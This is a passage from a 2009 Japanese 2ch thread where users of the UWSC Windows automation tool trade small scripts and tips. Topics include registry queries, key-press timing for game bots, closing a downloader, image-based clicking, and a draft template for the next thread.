そんな細かい融通なんて出来る必要ないといわれればそれまでだが、
やろうと思えば逃げ道があるってのは便利だ。
970名無しさん@お腹いっぱい。:2009/12/04(金) 15:24:38 ID:HevuLciX0
レジストリ参照するときはコマンドラインが使えるね。
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools" /v InstallPath | find "InstallPath"

>>969
拡張子が自由すぎるのも問題だと思うけど。
スクリプトウィルスですべてのファイルをチェックしないといけなくなるし。
副作用として2chログの .dat ファイルが削除される。
僕の過去ログがウィルスチェックで削除されていた理由がなんとなく分かった。
971名無しさん@お腹いっぱい。:2009/12/05(土) 01:15:51 ID:RYXBer6t0
>>943
亀だが、オンラインゲームで簡易BOT作ったんだけどその経験から

KBD(VK_Q,CLICK)だと反応しないと思ったほうがいい
反応させたいと思うのなら、

KBD(VK_Q,DOWN)
KBD(VK_Q,UP,60)
などのようにすること

つまりキーを押している時間を、ゲームがキーボードのチェックしている時間を上回れ
ばいい
なお、UPのときの時間は20ですむゲームから、40くらいのゲームまで多少幅があるっ
ぽい

つまり、チャット欄のときはキー入力はバッファがあり、そこにためてからチャット欄に
移すと考えられる。notepadなどに入力するときと同じ仕様
そして、チャット欄以外の時にはリアルタイム入力でバッファがないから、ソフトのキー
ボードチェックのときまで押している必要があると思われる
972名無しさん@お腹いっぱい。:2009/12/05(土) 20:36:46 ID:xEt3aP6M0
Orbitを使ってダウンロードをする際、
新規ダウンロードというウィンドウが出てくるときに
「キャンセル」を押した場合のみ、Orbitを終了させたいんだけど

Orbid = GETID("新規ダウンロード", "#32770")

ifb Orbid = -1 then
exitexit
else
REPEAT
Orb2id = GETID("新規ダウンロード", "#32770")
SLEEP(1)
UNTIL Orb2id = -1
Orb3id = GETID("", "orbitdm_app")
CTRLWIN(Orb3id, CLOSE2)
DOSCMD("taskkill /im orbitnet.exe")
endif

こう書いてみたものの、これじゃあOKを押した場合でもOrbitが終了してしまう
「キャンセル」を押したときだけ終了させるようにするにはどうすればいいの?
973名無しさん@お腹いっぱい。:2009/12/05(土) 20:50:22 ID:/7c3sFsA0
>>972
UWSCのスクリプトでキャンセルをクリックする。
974名無しさん@お腹いっぱい。:2009/12/07(月) 05:01:47 ID:KNLff4OP0
スクリプト初心者なのですが、教えてください。
UWSCを使って、画面上の特定のエリアにある画像を自動でクリックさせることは出来ますか?

1:インターバル30秒後 2へ
2:『画像A』があれば『画像A』をクリックして1へ 無ければ3へ
3:『画像B』があれば『画像B』をクリックして1へ 無ければ4へ
4:インターバル30秒後 1へ

マウスの自動化は出来るのですが、画像を判別してクリックするのはうまくいきません。
サンプルスクリプトを教えていただけると助かります。
がんばって直して使用できるようにします。よろしくお願いします。
975名無しさん@お腹いっぱい。:2009/12/07(月) 05:02:47 ID:KNLff4OP0
ごめんなさい。sageるの忘れました。。。。申し訳ありません。
976名無しさん@お腹いっぱい。:2009/12/07(月) 05:25:21 ID:sqa3JRwT0
可能だけど、大抵の場合は色判定使った方が処理軽くてお勧め
どちらにせよサンプルならヘルプ見ればあるし、「chkimg」とかでググってもいろいろ見つかると思う
かなり簡単な部類のスクリプトだから、むしろ何がうまくいかないのか教えてくれないと逆に困る

別にsage進行じゃないからageでおk
977名無しさん@お腹いっぱい。:2009/12/07(月) 11:37:01 ID:Q9OWsxYu0
サンプルがあるのに考えないで教えて君
978名無しさん@お腹いっぱい。:2009/12/07(月) 15:24:51 ID:EGBUNKjc0
>>974
DirectXの全画面なら無理です。
UWSCで画像を取得できるかどうか、SaveImg()で保存してみたらいいよ。
979名無しさん@お腹いっぱい。:2009/12/07(月) 16:34:09 ID:2DlR/2d20
>>969
規制喰らってたので亀で申し訳ないのだけど、

>拡張子チェックしないAutohotkeyやD-monkeyは
uwsc.exe C:\hoge\hogehoge.bak (hogehoge.uwsの拡張子を変更したファイル)
ちょっと試してみたら普通にスクリプト完走するみたいだけど… 意味が違うのかな?

>拡張子Jsで起動させておいて、エンジンを変えて起動させたりもできる。
この意味が良く判らない…
別スレでJscriptとAutoItXの共存を書いている人いるけど、この類の話?
980貞子:2009/12/07(月) 17:31:58 ID:uPHQyMnr0
>>979
ちょっと透視してみるわ。
どーれどーれ〜、見えた!机の上はちゃんと片付けてね!

あなたのハードディスクのC:\hoge\hogehoge.bakのすぐとなりに、
C:\hoge\hogehoge.uwsが見えます。

そのファイルを消すと、C:\hoge\hogehoge.bakは動かなくなるはずです。
981名無しさん@お腹いっぱい。:2009/12/07(月) 17:38:55 ID:EGBUNKjc0
>>979
> この意味が良く判らない…
AutoIt VerX で .abc を動かし、そのスクリプトから
AutoIt VerY と .xyz をコールするという感じだろ。
しかし逆にグローバル変数の扱いがややこしいことになると思うんだよね。
982名無しさん@お腹いっぱい。:2009/12/07(月) 17:56:27 ID:2DlR/2d20
>>980
あぁ、ゴメン。貞子の透視のとおりでしたw
983名無しさん@お腹いっぱい。:2009/12/07(月) 17:59:26 ID:EGBUNKjc0
さすが貞子だなあ
984名無しさん@お腹いっぱい。:2009/12/07(月) 19:12:52 ID:vjmE8d/80
まて
お前らどうして和んでいるんだw
985名無しさん@お腹いっぱい。:2009/12/07(月) 21:34:47 ID:Vroq5dYd0
じゃあとりあえず馴れ合い厨死ねと言ってみるテスト
986名無しさん@お腹いっぱい。:2009/12/08(火) 09:55:59 ID:R1J3ndqY0
次スレのタイミングが近くなってまいりました。
>1の公式サイトURLを訂正して立てましょうや


-----------------------------------------------------
自動化ツールuwsc使いよ集まれ5
-----------------------------------------------------
Windowsを自動化させるツールUWSC。
http://www.uwsc.info/

uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。

前スレ
自動化ツールuwsc使いよ集まれ4
http://pc12.2ch.net/test/read.cgi/software/1235990960/
987名無しさん@お腹いっぱい。:2009/12/08(火) 13:36:29 ID:NGw+Zaod0
安易な作ってクレクレ依頼の禁止or依頼用テンプレでも作るといいんじゃないかな
988名無しさん@お腹いっぱい。:2009/12/08(火) 18:32:07 ID:Q2QOWQX50
適当に作って見た。適当に追加・削除・訂正してくれ。
コピペする時は、行の右端にスペースが出来るかもしらんから、削除してからよろしく。
-----------------------------------------------------
自動化ツールuwsc使いよ集まれ5
-----------------------------------------------------
Windowsを自動化させるツールUWSC。
http://www.uwsc.info/

uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。

●質問したい方へ。
 「○○作れますか?」→ スクリプトを期待するのはお門違い。作れるか作れないか教えてくれる人はいるかも。
 「○○が作りたい」→ 自分作ればいいんじゃない?
 「○○作って下さい」→ 依頼スレじゃありません。
 過去ログを見る、検索する等、自分で出来る事を書き込む前にするように。
 自力で作ったのを晒すか、具体的な解らない場所を提示して、改善点や解決策を求めるようにしましょう。

●スクリプトを晒す上での注意
 他人が読みやすいようにインデントを付けるように。解らない人はググレ。
 言いたい事に関係無い部分は 〜○○の処理〜 や 処理A 等のようにし、
 必要な部分を晒すようにする。

●他人の書いたスクリプトを安易に実行しないように。
 ハードディスクをフォーマットされたりしても、自己責任。

前スレ
自動化ツールuwsc使いよ集まれ4
http://pc12.2ch.net/test/read.cgi/software/1235990960/
989名無しさん@お腹いっぱい。:2009/12/09(水) 01:20:11 ID:xGIFdzaW0
>>988
タブインデントは使えないんだぜ
  全角スペース等に
    変換しておくべし
990名無しさん@お腹いっぱい。:2009/12/09(水) 01:33:49 ID:wLl1el160
テンプレで次スレ建てるレス番も書いておくべきでは?
進みもそこまで速くないから970か980くらいでもいいかも。
ってか、次スレよろ。ちなみに今回はオレ無理。
991名無しさん@お腹いっぱい。:2009/12/09(水) 05:30:20 ID:J1DL1P1U0
自動化ツールuwsc使いよ集まれ5
http://pc12.2ch.net/test/read.cgi/software/1260304053/l50
992名無しさん@お腹いっぱい。:2009/12/09(水) 10:19:38 ID:8TzPg+9x0
>>991
>1乙
993名無しさん@お腹いっぱい。
>>991
乙「」「」「」「」「